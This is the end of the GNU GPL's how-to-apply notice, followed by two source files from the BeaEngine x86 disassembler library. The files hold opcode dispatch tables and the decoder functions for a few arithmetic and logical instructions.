            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/Data_opcode.h

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

/* ===============================================================================  */
/*														                            */
/*														                            */
/*					            1 BYTE_OPCODE MAP							        */
/*														                            */
/*														                            */
/* ===============================================================================  */

void (__stdcall * opcode_map1[])(PDISASM) = {
    add_EbGb  , add_EvGv  , add_GbEb  , add_GvEv  , add_ALIb  , add_eAX_Iv, push_es   , pop_es    , or_EbGb   , or_EvGv   , or_GbEb   , or_GvEv   , or_ALIb   , or_eAX_Iv , push_cs   , Esc_2byte ,
    adc_EbGb  , adc_EvGv  , adc_GbEb  , adc_GvEv  , adc_ALIb  , adc_eAX_Iv, push_ss   , pop_ss    , sbb_EbGb  , sbb_EvGv  , sbb_GbEb  , sbb_GvEv  , sbb_ALIb  , sbb_eAX_Iv, push_ds   , pop_ds    ,
    and_EbGb  , and_EvGv  , and_GbEb  , and_GvEv  , and_ALIb  , and_eAX_Iv, PrefSEGES , daa_      , sub_EbGb  , sub_EvGv  , sub_GbEb  , sub_GvEv  , sub_ALIb  , sub_eAX_Iv, PrefSEGCS , das_      ,
    xor_EbGb  , xor_EvGv  , xor_GbEb  , xor_GvEv  , xor_ALIb  , xor_eAX_Iv, PrefSEGSS , aaa_      , cmp_EbGb  , cmp_EvGv  , cmp_GbEb  , cmp_GvEv  , cmp_ALIb  , cmp_eAX_Iv, PrefSEGDS , aas_      ,
    inc_eax   , inc_ecx   , inc_edx   , inc_ebx   , inc_esp   , inc_ebp   , inc_esi   , inc_edi   , dec_eax   , dec_ecx   , dec_edx   , dec_ebx   , dec_esp   , dec_ebp   , dec_esi   , dec_edi   ,
    push_eax  , push_ecx  , push_edx  , push_ebx  , push_esp  , push_ebp  , push_esi  , push_edi  , pop_eax   , pop_ecx   , pop_edx   , pop_ebx   , pop_esp   , pop_ebp   , pop_esi   , pop_edi   ,
    pushad_   , popad_    , bound_    , arpl_     , PrefSEGFS , PrefSEGGS , PrefOpSize, PrefAdSize, push_Iv   ,imul_GvEvIv, push_Ib   ,imul_GvEvIb, insb_     , ins_      , outsb_    , outsw_    ,
    jo_       , jno_      , jc_       , jnc_      , je_       , jne_      , jbe_      , jnbe_     , js_       , jns_      , jp_       , jnp_      , jl_       , jnl_      , jle_      , jnle_     ,
    G1_EbIb   , G1_EvIv   , G1_EbIb2  , G1_EvIb   , test_EbGb , test_EvGv , xchg_EbGb , xchg_EvGv , mov_EbGb  , mov_EvGv  , mov_GbEb  , mov_GvEv  , mov_EwSreg, lea_GvM   , mov_SregEw, pop_Ev    ,
    nop_      , xchg_ecx  , xchg_edx  , xchg_ebx  , xchg_esp  , xchg_ebp  , xchg_esi  , xchg_edi  , cwde_     , cdq_      , callf_    , wait_     , pushfd_   , popfd_    , sahf_     , lahf_     ,
    mov_ALOb  , mov_eAXOv , mov_ObAL  , mov_OveAX , movs_     , movsw_    , cmpsb_    , cmps_     , test_ALIb ,test_eAX_Iv, stos_     , stosw_    , lodsb_    , lodsw_    , scasb_    , scas_     ,
    mov_ALIb  , mov_CLIb  , mov_DLIb  , mov_BLIb  , mov_AHIb  , mov_CHIb  , mov_DHIb  , mov_BHIb  , mov_EAX   , mov_ECX   , mov_EDX   , mov_EBX   , mov_ESP   , mov_EBP   , mov_ESI   , mov_EDI   ,
    G2_EbIb   , G2_EvIb   , retn_     , ret_      , les_GvM   , lds_GvM   , mov_EbIb  , mov_EvIv  , enter_    , leave_    , retf_Iw   , retf_     , int3_     , int_      , into_     , iret_     ,
    G2_Eb1    , G2_Ev1    , G2_EbCL   , G2_EvCL   , aam_      , aad_      , salc_     , xlat_     , D8_       , D9_       , DA_       , DB_       , DC_       , DD_       , DE_       , DF_       ,
    loopne_   , loope_    , loop_     , jecxz_    , in_ALIb   , in_eAX_Ib , out_IbAL  , out_Ib_eAX, call_     , jmp_near  , jmp_far   , jmp_short , in_ALDX   , in_eAX    , out_DXAL  , out_DXeAX ,
    PrefLock  , int1_     , PrefREPNE , PrefREPE  , hlt_      , cmc_      , G3_Eb     , G3_Ev     , clc_      , stc_      , cli_      , sti_      , cld_      , std_      , G4_Eb     , G5_Ev     ,
 };

/* ===============================================================================  */
/*														                            */
/*														                            */
/*					            2 BYTE_OPCODE MAP --> 0F xx					        */
/*														                            */
/*														                            */
/* ===============================================================================  */
void (__stdcall *opcode_map2[])(PDISASM) = {
    G6_       , G7_       , lar_GvEw  , lsl_GvEw  , FailDecode, syscall_  , clts_     , sysret_   , invd_     , wbinvd_   , FailDecode, ud2_      , FailDecode, nop_Ev    , femms_    , FailDecode,
    movups_VW , movups_WV , movlps_VM , movlps_MV , unpcklps_ , unpckhps_ , movhps_VM , movhps_MV , G16_      , hint_nop  , hint_nop  , hint_nop  , hint_nop  , hint_nop  , hint_nop  , nop_Ev    ,
    mov_RdCd  , mov_RdDd  , mov_CdRd  , mov_DdRd  , FailDecode, FailDecode, FailDecode, FailDecode, movaps_VW , movaps_WV , cvtpi2ps_ , movntps_  , cvttps2pi_, cvtps2pi_ , ucomiss_VW, comiss_VW ,
    wrmsr_    , rdtsc_    , rdmsr_    , rdpmc_    , sysenter_ , sysexit_  , FailDecode, FailDecode,Esc_tableA4, FailDecode,Esc_tableA5, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    cmovo_    , cmovno_   , cmovb_    , cmovnb_   , cmove_    , cmovne_   , cmovbe_   , cmovnbe_  , cmovs_    , cmovns_   , cmovp_    , cmovnp_   , cmovl_    , cmovnl_   , cmovle_   , cmovnle_  ,
    movmskps_ , sqrtps_VW , rsqrtps_  , rcpps_    , andps_VW  , andnps_VW , orps_VW   , xorps_VW  , addps_VW  , mulps_VW  , cvtps2pd_ , cvtdq2ps_ , subps_VW  , minps_VW  , divps_VW  , maxps_VW  ,
    punpcklbw_, punpcklwd_, punpckldq_, packsswb_ , pcmpgtb_  , pcmpgtw_  , pcmpgtd_  , packuswb_ , punpckhbw_, punpckhwd_, punpckhdq_, packssdw_ ,punpcklqdq_,punpckhqdq_, movd_PE   , movq_PQ   ,
    pshufw_   , G12_      , G13_      , G14_      , pcmpeqb_  , pcmpeqw_  , pcmpeqd_  , emms_     , vmread_   , vmwrite_  , FailDecode, FailDecode, haddpd_VW , hsubpd_VW , movd_EP   , movq_QP   ,
    jo_near   , jno_near  , jc_near   , jnc_near  , je_near   , jne_near  , jbe_near  , ja_near   , js_near   , jns_near  , jp_near   , jnp_near  , jl_near   , jnl_near  , jle_near  , jnle_near ,
    seto_     , setno_    , setb_     , setnb_    , sete_     , setne_    , setbe_    , setnbe_   , sets_     , setns_    , setp_     , setnp_    , setnge_   , setge_    , setle_    , setnle_   ,
    push_fs   , pop_fs    , cpuid_    , bt_EvGv   ,shld_EvGvIb,shld_EvGvCL, FailDecode, FailDecode, push_gs   , pop_gs    , rsm_      , bts_EvGv  ,shrd_EvGvIb,shrd_EvGvCL, G15_      , imul_GvEv ,
    cmpx_EbGb , cmpx_EvGv , lss_Mp    , btr_EvGv  , lfs_Mp    , lgs_Mp    , movzx_GvEb, movzx_GvEw, popcnt_   , ud2_      , G8_EvIb   , btc_EvGv  , bsf_GvEv  , bsr_GvEv  , movsx_GvEb, movsx_GvEw,
    xadd_EbGb , xadd_EvGv , cmpps_VW  , movnti_   , pinsrw_   , pextrw_   , shufps_   , G9_       , bswap_eax , bswap_ecx , bswap_edx , bswap_ebx , bswap_esp , bswap_ebp , bswap_esi , bswap_edi ,
    addsubpd_ , psrlw_    , psrld_    , psrlq_    , paddq_    , pmullw_   , movq_WV   , pmovmskb_ , psubusb_  , psubusw_  , pminub_   , pand_     , paddusb_  , paddusw_  , pmaxub_   , pandn_    ,
    pavgb_    , psraw_    , psrad_    , pavgw_    , pmulhuw_  , pmulhw_   , cvtpd2dq_ , movntq_   , psubsb_   , psubsw_   , pminsw_   , por_      , paddsb_   , paddsw_   , pmaxsw_   , pxor_     ,
    lddqu_    , psllw_    , pslld_    , psllq_    , pmuludq_  , pmaddwd_  , psadbw_   , maskmovq_ , psubb_    , psubw_    , psubd_    , psubq_    , paddb_    , paddw_    , paddd_    , FailDecode,
 };

/* ===============================================================================  */
/*														                            */
/*														                            */
/*					            3 BYTE_OPCODE MAP --> 0F 38 xx				        */
/*														                            */
/*														                            */
/* ===============================================================================  */
 void (__stdcall *opcode_map3[])(PDISASM) = {
    pshufb_   , phaddw_   , phaddd_   , phaddsw_  , pmaddubsw_, phsubw_   , phsubd_   , phsubsw_  , psignb_   , psignw_   , psignd_   , pmulhrsw_ , FailDecode, FailDecode, FailDecode, FailDecode,
    pblendvb_ , FailDecode, FailDecode, FailDecode, blendvps_ , blendvpd_ , FailDecode, ptest_    , FailDecode, FailDecode, FailDecode, FailDecode, pabsb_    , pabsw_    , pabsd_    , FailDecode,
    pmovsxbw_ , pmovsxbd_ , pmovsxbq_ , pmovsxwd_ , pmovsxwq_ , pmovsxdq_ , FailDecode, FailDecode, pmuldq_   , pcmpeqq_  , movntdqa_ , packusdw_ , FailDecode, FailDecode, FailDecode, FailDecode,
    pmovzxbw_ , pmovzxbd_ , pmovzxbq_ , pmovzxwd_ , pmovzxwq_ , pmovzxdq_ , FailDecode, pcmpgtq_  , pminsb_   , pminsd_   , pminuw_   , pminud_   , pmaxsb_   , pmaxsd_   , pmaxuw_   , pmaxud_   ,
    pmulld_   ,phminposuw_, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    crc32_GvEb, crc32_GvEv, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
 };

/* ===============================================================================  */
/*														                            */
/*														                            */
/*					            3 BYTE_OPCODE MAP --> 0F 3A xx				        */
/*														                            */
/*														                            */
/* ===============================================================================  */
 void (__stdcall *opcode_map4[])(PDISASM) = {
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, roundps_  , roundpd_  , roundss_  , roundsd_  , blendps_  , blendpd_  , pblendw_  , palignr_  ,
    FailDecode, FailDecode, FailDecode, FailDecode, pextrb_   , pextrw2_  , pextrd_   , extractps_, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    pinsrb_   , insertps_ , pinsrd_   , FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    dpps_     , dppd_     , mpsadbw_  , FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    pcmpestrm_, pcmpestri_, pcmpistrm_, pcmpistri_, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
    FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode,
 };


void (__stdcall *ModRM_0[])(ARGTYPE*) = {
     Addr_EAX,
     Addr_ECX,
     Addr_EDX,
     Addr_EBX,
     Addr_SIB,
     Addr_disp32,
     Addr_ESI,
     Addr_EDI,
 };

 void (__stdcall *ModRM_1[])(ARGTYPE*) = {
     Addr_EAX_disp8,
     Addr_ECX_disp8,
     Addr_EDX_disp8,
     Addr_EBX_disp8,
     Addr_SIB_disp8,
     Addr_EBP_disp8,
     Addr_ESI_disp8,
     Addr_EDI_disp8,
 };

 void (__stdcall *ModRM_2[])(ARGTYPE*) = {
     Addr_EAX_disp32,
     Addr_ECX_disp32,
     Addr_EDX_disp32,
     Addr_EBX_disp32,
     Addr_SIB_disp32,
     Addr_EBP_disp32,
     Addr_ESI_disp32,
     Addr_EDI_disp32,
 };

 void (__stdcall *ModRM_3[])(ARGTYPE*) = {
     _EAX,
     _ECX,
     _EDX,
     _EBX,
     _ESP,
     _EBP,
     _ESI,
     _EDI,
 };

int (__stdcall *SIB[])(ARGTYPE*, int) = {
     SIB_0,
     SIB_1,
     SIB_2,
     SIB_3,
 };
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_A_M.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

void __stdcall FailDecode(PDISASM pMyDisasm)
{
	(void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "??? ");
	ERROR_OPCODE = 1;
}
// ====================================================================
//
// ====================================================================
void __stdcall aaa_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Archi == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aaa ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 8;
        EIP_++;
    };
}

// ====================================================================
//
// ====================================================================
void __stdcall aad_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Archi == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aad ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (!Security(1)) return;
        ImmediatSize = 8;
        if (*((BYTE*) (EIP_+1)) != 0x0A) {
            (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_+1));
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.2X", *((BYTE*) (EIP_+1)));
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        EIP_+=2;
    };
}

// ====================================================================
//
// ====================================================================
void __stdcall aam_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Archi == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aam ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 16;
        if (!Security(1)) return;
        ImmediatSize = 8;
        if (*((BYTE*) (EIP_+1)) != 0x0A) {
            (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_+1));
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.2X", *((BYTE*) (EIP_+1)));
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        EIP_+=2;
    };
}

// =======================================
//
// =======================================
void __stdcall aas_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Archi == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aas ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 8;
        EIP_++;
    };
}

// =======================================
//      00h
// =======================================
void __stdcall add_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,5);
}

// =======================================
//      01h
// =======================================
void __stdcall add_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,5);
}

// =======================================
//      02h
// =======================================
void __stdcall add_GbEb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
    GbEb(pMyDisasm);
    FillFlags(pMyDisasm,5);
}

// =======================================
//      03h
// =======================================
void __stdcall add_GvEv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,5);
}

// =======================================
//      04h
// =======================================
void __stdcall add_ALIb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
    ALIb(pMyDisasm);
    FillFlags(pMyDisasm,5);
}

// =======================================
//      05h
// =======================================
void __stdcall add_eAX_Iv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add ");
    eAX_Iv(pMyDisasm);
    FillFlags(pMyDisasm,5);
}

// =======================================
//      10h
// =======================================
void __stdcall adc_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,4);
}

// =======================================
//      11h
// =======================================
void __stdcall adc_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,4);
}

// =======================================
//      12h
// =======================================
void __stdcall adc_GbEb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
    GbEb(pMyDisasm);
    FillFlags(pMyDisasm,4);
}

// =======================================
//      13h
// =======================================
void __stdcall adc_GvEv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,4);
}

// =======================================
//      14h
// =======================================
void __stdcall adc_ALIb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
    ALIb(pMyDisasm);
    FillFlags(pMyDisasm,4);
}

// =======================================
//      15h
// =======================================
void __stdcall adc_eAX_Iv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc ");
    eAX_Iv(pMyDisasm);
    FillFlags(pMyDisasm,4);
}

// =======================================
//      20h
// =======================================
void __stdcall and_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,6);
}

// =======================================
//      21h
// =======================================
void __stdcall and_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,6);
}

// =======================================
//      22h
// =======================================
void __stdcall and_GbEb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and ");
    GbEb(pMyDisasm);
    FillFlags(pMyDisasm,6);
}

